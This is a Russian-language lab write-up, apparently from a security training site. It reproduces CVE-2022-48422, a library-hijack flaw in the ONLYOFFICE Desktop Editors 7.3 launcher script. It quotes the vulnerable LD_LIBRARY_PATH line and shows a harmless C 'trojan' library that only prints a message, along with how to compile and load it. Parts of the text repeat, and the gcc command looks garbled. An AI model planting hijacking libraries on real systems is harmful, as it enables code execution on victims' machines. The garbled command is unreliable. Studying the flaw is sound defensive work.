РАЗБОР
Reverse
Статья
Освежает иногда, в зной холодная вода. PoC CVE-2022-48422. OnlyOffice 7.3
[ обложка статьи ]
Режим чтения
Прежде чем перейти к самому PoC, стоит обозначить контекст: CVE-2022-48422 — не единичный баг, а часть цепочки уязвимостей в ONLYOFFICE Desktop Editors и DocumentServer, о которой позже писали исследователи из BI.ZONE. Разработчики закрыли проблему в составе хотфикса ONLYOFFICE Docs 7.3.3, где заодно пофиксили и соседнюю CVE-2022-47412. Это важно держать в голове: описанный ниже трюк с LD_LIBRARY_PATH актуален только для версий до патча, и в свежих сборках подкачать троянскую библиотеку таким способом уже не выйдет.
Ку, киберрекруты. Данная статья посвящена CVE-2022-48422. Данная уязвимость была обнаружена в ONLYOFFICE-DocumentServer-7.3.0 и дает возможность получить привелегии через троянского коня libgcc_s.so.1 в текущем рабочем каталоге, которым может быть любой каталог, в котором находится документ ONLYOFFICE. Однако, в данном чтиве просто попробую получить краш. Думаю, это явялется хорошей практикой для пывна рил кейсов.
[prebreak][/prebreak]
PoC на эту уязвимость выглядит так:
Решил, что этого маловато. Поэтому буду пробовать пывнить этот, так сказать, vulnbox. Однако, уже до меня описывали эту вулну, можете ознакомиться с этой статьей История одной уязвимости. Не буду на нее опираться и попробую сам пробить вулну. Так намного веселее и скилл прокачается в разы жестче.
Развертывание стенда
В этом плане не сложно. Нужно просто скачать программу или установить или найти архив, в которой содеражтся файлы для запуска. Благо, существует github репозитории, в которых все это имеется (Releases · ONLYOFFICE/DesktopEditors). По данным о CVE, нужна версия 7.3:
Скачаю архив, под названием onlyoffice-desktopeditors-x64.tar.gz, потому что там уже содержится директория с файлами, для запуска проги.
После скачивания распакуем архив командами ниже:
Копаясь в этой папке, обнаруживаем файл - DesktopEditors. Видимо это и есть наш таргет. Однако, при запуске может выскачить примерно такая ошибка:
Сначала делаю экспортирую
Впрочем, если такой варик не катит, то можно пойти другим путем. Установить onlyoffice. Качаете .deb , устанавливаете и в директории /bin ищете файл, который называется примерно так: onlyoffice-desktopeditors. Это башевский скрипт , в котором все описано для запуска DesktopEditors.
Теперь, когда развернули стенд(называть это стендом, конечно, смешно, но как есть).
P.S. версия ONLYOFFICE Desktop Editors version 7.3.0.184
Сама вулна
Начать решил не с реверса бинаря, а больше со скрипта, который запускает программу. Опять же, вспомним о том, что происхдит брут директорий и подкачка библиотек начиная с той, где был запущен документ.
Анализируя скрипт, в конце файла было найдено крайне стремное место:
Как видно, идет подкачка всех библиотек с директории запуска и выше. На это указывает $LD_LIBRARY_PATH.
Если почитать документацию о LD_LIBRARY_PATH, то можно понять следующее:
Реализация
Тут в принципе тоже ничего сложного. Пишем какую-нибудь програмку и компилим ее под видом библы. Например:
Теперь компилим:
Запускаем:
После запуска пойдут краши.
Повторюсь. Самый популярный PoC:
История одной уязвимости
Ку, киберрекруты. Данная статья посвящена CVE-2022-48422. Данная уязвимость была обнаружена в ONLYOFFICE-DocumentServer-7.3.0 и дает возможность получить привелегии через троянского коня libgcc_s.so.1 в текущем рабочем каталоге, которым может быть любой каталог, в котором находится документ ONLYOFFICE. Однако, в данном чтиве просто попробую получить краш. Думаю, это явялется хорошей практикой для пывна рил кейсов.
[prebreak][/prebreak]
PoC на эту уязвимость выглядит так:
Решил, что этого маловато. Поэтому буду пробовать пывнить этот, так сказать, vulnbox. Однако, уже до меня описывали эту вулну, можете ознакомиться с этой статьей История одной уязвимости. Не буду на нее опираться и попробую сам пробить вулну. Так намного веселее и скилл прокачается в разы жестче.
Развертывание стенда
В этом плане не сложно. Нужно просто скачать программу или установить или найти архив, в которой содеражтся файлы для запуска. Благо, существует github репозитории, в которых все это имеется (Releases · ONLYOFFICE/DesktopEditors). По данным о CVE, нужна версия 7.3:
Скачаю архив, под названием onlyoffice-desktopeditors-x64.tar.gz, потому что там уже содержится директория с файлами, для запуска проги.
После скачивания распакуем архив командами ниже:
Код:
chmod 777 onlyoffice-desktopeditors-x64.tar.gz
gunzip onlyoffice-desktopeditors-x64.tar.gz
tar -xvf onlyoffice-desktopeditors-x64.tar.gz
Копаясь в этой папке, обнаруживаем файл - DesktopEditors. Видимо это и есть наш таргет. Однако, при запуске может выскачить примерно такая ошибка:
Код:
This application failed to start because it could not find or load the Qt platform plugin
"xcb" in "".
Сначала делаю экспортирую
QT_DEBUG_PLUGINS=1 командой export QT_DEBUG_PLUGINS=1. После чего, устанавливаю библиотеки:
Код:
sudo apt-get install libxcb-xinerama0
sudo apt-get install libxkbcommon-x11-0 libxcb-icccm4 libxcb-image0 libxcb-keysyms1 libxcb-randr0 libxcb-render-util0 libxcb-xinerama0 libxcb-xfixes0
libegl1-mesa
Впрочем, если такой варик не катит, то можно пойти другим путем. Установить onlyoffice. Качаете .deb , устанавливаете и в директории /bin ищете файл, который называется примерно так: onlyoffice-desktopeditors. Это башевский скрипт , в котором все описано для запуска DesktopEditors.
Теперь, когда развернули стенд(называть это стендом, конечно, смешно, но как есть).
P.S. версия ONLYOFFICE Desktop Editors version 7.3.0.184
Сама вулна
Начать решил не с реверса бинаря, а больше со скрипта, который запускает программу. Опять же, вспомним о том, что происхдит брут директорий и подкачка библиотек начиная с той, где был запущен документ.
Анализируя скрипт, в конце файла было найдено крайне стремное место:
Код:
DIR=$PWD
export LD_LIBRARY_PATH=$DIR:$LD_LIBRARY_PATH
exec $DIR/DesktopEditors "$@"
Как видно, идет подкачка всех библиотек с директории запуска и выше. На это указывает $LD_LIBRARY_PATH.
Если почитать документацию о LD_LIBRARY_PATH, то можно понять следующее:
- В системе UNIX/Linux LD_LIBRARY_PATH указывает загрузчику динамической компоновки, небольшой программе, которая запускает все ваши приложения, чтобы определить, где искать динамические общие библиотеки, с которыми было связано приложение. Двоеточие
) отделяет список каталогов, и этот список проверяется даже перед встроенными путями/путями поиска и обычными местоположениями, такими как (/lib, /usr/lib..). - Каталоги LD_LIBRARY_PATH проверяются в первую очередь, до их фактического местоположения. Этот подход может быть использован злоумышленником, чтобы заставить ваше приложение запускать вредоносную версию общей библиотеки. Это одна из причин, по которой исполняемые файлы setuid/setgid игнорируют эту переменную.
Реализация
Тут в принципе тоже ничего сложного. Пишем какую-нибудь програмку и компилим ее под видом библы. Например:
C:
#include <stdio.h>
void trojan()
{
puts("Hello");
}
Теперь компилим:
Код:
gcc -Wall -Werror -fPIC -Wl,-init,trojan,-soname,libselinux.so.1,-version -script, -shared -o libc.so trojan.c
Запускаем:
./onlyoffice-desktopeditors test.docxПосле запуска пойдут краши.
Повторюсь. Самый популярный PoC:
История одной уязвимости
AI-выжимка
сгенерировано ИИ
Тезисы статьи скоро
Статья читается полностью. Тезисы со ссылками на разделы появятся позже.
Содержание
Codeby Academy
Практика и мастерство
От основ до продвинутого — программы для практиков Codeby.
Перейти к курсу →
Комментарии
1